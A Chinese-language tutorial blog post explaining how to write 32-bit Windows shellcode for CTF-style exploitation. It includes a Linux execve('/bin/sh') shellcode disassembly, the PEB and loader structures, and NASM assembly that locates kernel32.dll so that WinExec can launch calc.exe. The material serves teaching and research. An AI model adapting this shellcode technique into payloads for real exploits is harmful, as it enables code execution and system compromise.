Shellcode 是一段用於利用软件漏洞而执行的代码,藉由塞入一段可以让 CPU 执行的机械码,使电脑可以执行攻击者的任意指令。有接触过 CTF 的 Pwn 的人一定都很熟悉 Shellcode,当已经可以控制有漏洞的程序流程後,让程序执行 Shellcode 就可以拿到 Shell。
在这一篇我将会说明 32-bit Windows Shellcode,执行 WinExec("C:\Windows\System32\calc.exe", 10)
,以及介绍一些在 Windows 上写 Shellcode 时会使用到的工具。虽然这篇是介绍 32-bit Shellcode,但是其实与 64-bit 概念大多相同。
应该有不少人是从 Linux 开始学习 Shellcode 的,所以这边来比较一下两者的差异。首先看看 x86 Linux 的 Shellcode,里面使用的 int 0x80
是一个 Interrupt,而 0x80 是由 Kernel 处理的,可以用来让程序呼叫 System Call。
; execve("/bin/sh", 0, 0)
0: 31 c0 xor eax,eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx,esp
f: 50 push eax
10: 50 push eax
11: 53 push ebx
12: 89 e1 mov ecx,esp
14: b0 0b mov al,0xb
16: cd 80 int 0x80
然而 Windows 的 Syscall Number 常常变动,所以使用 Windows API 会更稳定,然後 Windows API 再去呼叫 Native API。这些原因导致撰写 Windows Shellcode 的步骤会变得比 Linux Shellcode 复杂许多,因为我们必须深入了解 PE 结构,从目标 dll 中取出需要的 Windows API 使用。
要得到 PEB 位址,首先要知道 TIB(Thread Information Block),它是用来存放有关目前的 Thread 的资讯,结构有点大可以自己点进连结看一下。
在 32-bit 和 64-bit,分别可以使用 FS、GS 这两个 Segment Register 找到,而在 32-bit 我们的目标 PEB 就位在 FS:[0x30],也就是 TIB 的 Offset 0x30。
首先来看一下 PEB 结构
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;
在第五个参数,也就是 PEB 的 Offset 0xC,就是我们的目标 PEB_LDR_DATA。
在 PEB_LDR_DATA 这个结构中可以看到三个 List,分别是 InLoadOrderModuleList、InMemoryOrderModuleList、InInitializationOrderModuleList,它们都是目前载入的 Image 的 Double Linked List,只是顺序不同。
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
这三个 List 都是 LIST_ENTRY 结构,同时也是 Double Linked List 结构,Flink 指向下一个 Image,Blink 指向上一个 Image。
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
那我们要这些 List 做什麽呢?如同上述,这三个 List 都是目前载入的 Image 的 Double Linked List,也就是说目标 kernel32.dll 也在其中。在这里我们为了实作方便使用 InMemoryOrderModuleList,不然其实也可以回圈任意一个 List 并透过对应 DLL 名称来找到目标 DLL。
InMemoryOrderModuleList 是根据记忆体的载入顺序排序,它的第三个 DLL 就是 kernel32.dll。其中在 List 的每个 Item 都指向一个 _LDR_DATA_TABLE_ENTRY 结构。
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG32 SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
UINT32 Unknow[17];
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
所以我们只要访问三次 InMemoryOrderModuleList 的 Flink 就会到达 kernel32.dll 的 _LDR_DATA_TABLE_ENTRY 结构。注意这边指向的位址是从 _LDR_DATA_TABLE_ENTRY+0x8 开始算,因为现在是用 InMemoryOrderModuleList 找,也就是说 DLLBase 在 Flink+0x10 位址。
最後取得的 DllBase 的位址就是 kernel32.dll 的 Base Address。
主要是参考 Basics of Windows shellcode writing,有改一点东西以符合 NASM 还有加一些注解。在我的 GitHub zeze-zeze/2021iThome 可以找到完整版的 POC。
; 1. 找到 Kernel32.dll
; 取得 PEB 位址
mov ebx, [fs:30h]
; 取得 PEB_LDR_DATA 位址
mov ebx, [ebx + 0x0C]
; 取得并访问 InMemoryOrderModuleList 位址
mov ebx, [ebx + 0x14]
; 取得 kernel32.dll 的 Base Address
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; InMemoryOrderModuleList 的第三个 DLL 就是 kernel32.dll
能把组语编译成机械码的工具有很多,这边使用 NASM。
它支援各种平台包含 Windows、Linux,用法也很简单。以我们现在要编的目标为例,因为是 32-bit Shellcode,所以 nasm -f win32 shellcode.asm -o shellcode.obj
就会产生 obj 副档名的档案。
看一下档案类型 Intel 80386 COFF object file, not stripped, 1 section, symbol offset=0xfe, 10 symbols
是个 COFF object file,然而我们要的是纯粹的 Shellcode,不需要其他东西。
这里我示范用 IDA 取出目标 Shellcode,载入档案後大概如下图。
虽然整个档案大小为 192 Bytes,但是我们实际上需要的 Shellcode 就只有 0x14 Bytes,所以使用 【Day 05】你逆 - 逆向工程工具介绍中推荐的 LazyIDA Plugin 按右键 => Convert => Convert to string 就可以转成 C String 了。
前言 本文说明使用scrapy爬虫函式库抓取海运FBX指数。 波罗的海货柜运价指数[FBX] 波罗的...
昨天我们使用了 Quick Reply 让使用者可直接跟我们回应的讯息互动,今天要使用 Templa...
物件侦测(Object Detection)是影像辨识中重要的一环~ 物件侦测就是在照片或影片等图像...
今年的疫情蛮严重的,希望大家都过得安好,希望疫情快点过去, 能回到一些线下技术聚会的时光~今天要了解...
The first thing you should be clear about is what ...